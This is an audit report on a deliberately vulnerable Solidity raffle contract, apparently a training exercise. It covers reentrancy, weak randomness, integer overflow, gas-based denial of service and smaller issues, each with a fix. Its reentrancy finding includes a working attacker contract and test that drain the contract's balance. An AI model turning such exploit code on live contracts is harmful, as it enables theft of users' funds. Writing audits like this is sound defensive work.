PuppyRaffle Audit Report

Version 1.0

s3bc40

November 29, 2024

PuppyRaffle Audit Report

s3bc40

November 29, 2024

Prepared by: s3bc40 Lead Auditors: - s3bc40

Table of Contents

  - [M-2] Unsafe casting of a uint256 to uint64 implies an overflow and losing fees
  - [M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and players at index 0 causing players to incorrectly think they have not entered the raffle

- Informational
  - [I-1]: Solidity pragma should be specific, not wide
  - [I-2]: Using an outdated version of Solidity is not recommended.
  - [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] does not follow CEI, which is not a best practice
  - [I-5] Use of "magic" numbers is discouraged
  - [I-6] State Changes are Missing Events
  - [I-7] _isActivePlayer is never used and should be removed

- Gas
  - [G-1] Unchanged state variables should be declared constant or immutable.
  - [G-2] Loop condition contains `state_variable.length` that could be cached outside.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

s3bc40 makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I loved auditing this code base. Patrick is a wizard at writing intentionally bad code!

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that call do we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
           can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
           refunded, or is not active");
5
6  @>  payable(msg.sender).sendValue(entranceFee);
7  @>  players[playerIndex] = address(0);
8
9      emit RaffleRefunded(playerAddress);
```

```
10 }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contact is drained.

Impact: All fees paid by raffle entrants could be stolen by a malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the PuppyRaffle balance.

PoC Code

Add the following to `PuppyRaffle.t.sol`

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

```

```
29      receive() external payable {
30          _stealMoney();
31      }
32  }
33
34  // test to confirm vulnerability
35  function testCanGetRefundReentrancy() public {
36      address[] memory players = new address[](4);
37      players[0] = playerOne;
38      players[1] = playerTwo;
39      players[2] = playerThree;
40      players[3] = playerFour;
41      puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
42
43      ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
44      address attacker = makeAddr("attacker");
45      vm.deal(attacker, 1 ether);
46
47      uint256 startingAttackContractBalance = address(attackerContract).
            balance;
48      uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;
49
50      // attack
51
52      vm.prank(attacker);
53      attackerContract.attack{value: entranceFee}();
54
55      // impact
56      console.log("attackerContract balance: ",
            startingAttackContractBalance);
57      console.log("puppyRaffle balance: ", startingPuppyRaffleBalance);
58      console.log("ending attackerContract balance: ", address(
            attackerContract).balance);
59      console.log("ending puppyRaffle balance: ", address(puppyRaffle).
            balance);
60  }
```

Recommendation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
           can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
           refunded, or is not active");
5  +   players[playerIndex] = address(0);
6  +   emit RaffleRefunded(playerAddress);
```

```
7       payable(msg.sender).sendeValue(entranceFees);
8   -   players[playerIndex] = address(0);
9   -   emit RaffleRefunded(playerAddress);
10  }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block`, `timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results.

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max
2 // 18446744073709551615
3 myVar = myVar + 1
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will not be able to withdraw due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!
      ");
```

Code

```
function test_totalFeesOverflow() public {
    // Arrange
    // Entering 4 players
    address[] memory initialPlayers = new address[](4);
    for (uint256 i; i < initialPlayers.length; ++i) {
        initialPlayers[i] = address(uint160(i));
    }
    puppyRaffle.enterRaffle{value: entranceFee * initialPlayers.length
        }(initialPlayers);

    // End the raffle to select a winner and set the totalFees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    console.log("starting total fees", startingTotalFees);

    // Act
    // We then add more players to the raffle to overflow the totalFees
    address[] memory overflowPlayers = new address[](89);
    for (uint256 i; i < overflowPlayers.length; ++i) {
        overflowPlayers[i] = address(uint160(i));
    }
    puppyRaffle.enterRaffle{value: entranceFee * overflowPlayers.length
        }(overflowPlayers);
    // End the raffle to select a winner
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
```

```
27      puppyRaffle.selectWinner();
28
29      // Assert
30      uint256 endingTotalFees = puppyRaffle.totalFees();
31      console.log("ending total fees", endingTotalFees);
32      assertTrue(endingTotalFees < startingTotalFees);
33  }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default. `diff - pragma solidity ^0.7.6; + pragma solidity ^0.8.18;` Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.
2. Use a `uint256` instead of a `uint64` for `totalFees`. `diff - uint64 public totalFees = 0; + uint256 public totalFees = 0;`
3. Remove the balance check in `PuppyRaffle::withdrawFees diff - require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");` We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] `PuppyRaffle::enterRaffle` looping on unbound array of players causes expensive gas cost with potential denial of service (DoS)

Description: `PuppyRaffle::enterRaffle` loop through the unbound array of `players`, which is a storage value, to check for duplicates. Looping a lot of time on a storage is not gas efficient. The more players we get inside the unbound array, the more gas it will cost to enter the raffle.

Code

```
1       // Check for duplicates
2       @> for (uint256 i = 0; i < players.length - 1; i++) {
3           for (uint256 j = i + 1; j < players.length; j++) {
4               require(players[i] != players[j], "PuppyRaffle: Duplicate
                    player");
5           }
6       }
```

Impact: The gas consts for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants

in queue.

An attacker might make the `PuppyRaffle:players` array so big that no one else enters, guaranteeing themselves the win.

Proof of Concept: If we have 2 sets of 50 and 100 players enter, the gas costs will be as such: - 1st 50 players: ~2148686 gas - 2nd 100 players: ~11169396 gas

1. Create the following test to add more players to the raffle

Code

```
    function test_enterRaffleDoS() public {
        // Arrange
        address[] memory fiftyPlayers = new address[](50);
        for (uint256 i = 0; i < fiftyPlayers.length; ++i) {
            fiftyPlayers[i] = address(uint160(i));
        }
        // Create another longer array to assess of gas fee
        address[] memory hundredPlayers = new address[](100);
        for (uint256 i; i < hundredPlayers.length; ++i) {
            hundredPlayers[i] = address(uint160(i + fiftyPlayers.length
                ));
        }

        // Act
        uint256 gasStartTwoPlayer = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * 50}(fiftyPlayers);
        uint256 gasCostTwoPlayer = gasStartTwoPlayer - gasleft();
        uint256 gasStartHundredPlayer = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * 100}(
            hundredPlayers);
        uint256 gasCostHundredPlayer = gasStartHundredPlayer - gasleft
            ();

        // Assert
        console.log("gasCostTwoPlayer", gasCostTwoPlayer);
        console.log("gasCostHundredPlayer", gasCostHundredPlayer);
        assertTrue(gasCostTwoPlayer < gasCostHundredPlayer);
    }
```

2. Assess the success of running the test and checking the log with the command:

```
forge test --mt test_enterRaffleDoS -vvv

# Output
Ran 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] test_enterRaffleDoS() (gas: 13348961)
Logs:
  gasCostFiftyPlayer 2148686
```

```
  gasCostHundredPlayer 11169396

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 22.36ms
   (21.33ms CPU time)
```

Recommended Mitigation: Here are some potential suggestions: 1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address. 2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }

-       // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "
   PuppyRaffle: Duplicate player");
+       }
-       for (uint256 i = 0; i < players.length; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle:
   Duplicate player");
-           }
-       }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
```

3. Alternatively, you could use **OpenZeppelin's EnumerableSet library**.

[M-2] Unsafe casting of a uint256 to uint64 implies an overflow and losing fees

Description: The `fee` variable is a `uint256` but casting it into a `uint64` can lead to losing an important amount of fees from the raffle.

```
1  function selectWinner() external {
2      require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
3      require(players.length > 0, "PuppyRaffle: No players in raffle");
4
5      uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender
           , block.timestamp, block.difficulty))) % players.length;
6      address winner = players[winnerIndex];
7      uint256 fee = totalFees / 10;
8      uint256 winnings = address(this).balance - fee;
9  @>  totalFees = totalFees + uint64(fee);
10     players = new address[](0);
11     emit RaffleWinner(winner, winnings);
12 }
```

Impact: Casting the `uint256 fee` will cut down most of the payment for the fee address of the contract. Which is not the expected behaviour from the contract and the 20% promised.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

```
1 type(uint64).max
2 // 18.446744073709551615 of fee maximum
3 // What happen if fee = 20.000000000000000000
4 uint256 myFee = 20e18
5 uint64 myCastedFee = uint64(myFee);
6 // 1.553255926290448384
```

We are losing the most part of the computed fee from the raffle.

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 -   uint64 public totalFees = 0;
2 +   uint256 public totalFees = 0;
3 .
4 .
```

```
5  .
6      function selectWinner() external {
7          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
8          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
9          uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15 -       totalFees = totalFees + uint64(fee);
16 +       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and players at index 0 causing players to incorrectly think they have not entered the raffle

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 4

```
1  pragma solidity ^0.7.6; // @note Safe math warning
```

[I-2]: Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither doc for more information

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

[I-4] does not follow CEI, which is not a best practice

It's best to keep code cleaen and follow CEI (Checks, Effects, Interactions).

```
1  -   (bool success,) = winner.call{value: prizePool}("");
2  -   require(success, "PuppyRaffle: Failed to send prize pool to winner"
       );
3          _safeMint(winner, tokenId);
4  +   (bool success,) = winner.call{value: prizePool}("");
```

```
5 +    require(success, "PuppyRaffle: Failed to send prize pool to winner"
      );
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 uint256 public constant FEE_PERCENTAGE = 20;
3 uint256 public constant POOL_PRECISION = 100;
4
5 uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
     POOL_PRECISION;
6 uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-7] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
1 -    function _isActivePlayer() internal view returns (bool) {
2 -        for (uint256 i = 0; i < players.length; i++) {
3 -            if (players[i] == msg.sender) {
4 -                return true;
5 -            }
6 -        }
7 -        return false;
8 -    }
```

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Description: Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle.sol::raffleDuration` should be `immutable` - `PuppyRaffle.sol::commonImageUri` should be `constant` - `PuppyRaffle.sol::rareImageUri` should be `constant` - `PuppyRaffle.sol::legendaryImageUri` should be `constant`

[G-2] Loop condition contains `state_variable.length` that could be cached outside.

Cache the lengths of storage arrays if they are used and not modified in for loops. Everytime gas is used to access `length`.

4 Found Instances

- Found in src/PuppyRaffle.sol Line: 97

```
1          for (uint256 i = 0; i < players.length - 1; i++) {
```

- Found in src/PuppyRaffle.sol Line: 98

```
1              for (uint256 j = i + 1; j < players.length; j++) {
```

- Found in src/PuppyRaffle.sol Line: 148

```
1          for (uint256 i = 0; i < players.length; i++) {
```

- Found in src/PuppyRaffle.sol Line: 238

```
1          for (uint256 i = 0; i < players.length; i++) {
```

Recommendation

```
+ uint256 playerLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playerLength - 1; i++) {
-     for (uint256 j = i + 1; j < players.length; j++) {
+     for (uint256 j = i + 1; j < playerLength; j++) {
          require(players[i] != players[j], "PuppyRaffle: Duplicate
              player");
      }
  }
```